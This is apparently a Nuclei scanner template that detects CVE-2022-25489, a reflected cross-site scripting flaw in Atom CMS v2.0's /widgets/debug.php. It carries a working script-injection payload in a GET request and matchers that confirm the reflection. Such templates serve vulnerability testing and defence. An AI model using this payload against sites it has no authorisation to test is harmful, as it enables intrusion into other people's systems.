id: CVE-2022-25489

info:
  name: Atom CMS v2.0 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Atom CMS v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the "A" parameter in /widgets/debug.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/258
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25489
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-25489
    cwe-id: CWE-79
    epss-score: 0.00134
    epss-percentile: 0.48559
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: cve,cve2022,xss,atom,cms,thedigitalcraft

http:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/debug.php?a=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Path Array"
          - "console-debug"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ed2118eb42e0a1030c808842eabdb4ad56e48f0c6e0f3902a964abd7b39c6c650221008f74ee5dd9dfcb4c439a583f4f0a94d13f00e276252d8e11fe8740e64d39452f:922c64590222798bb761d5b6d8e72950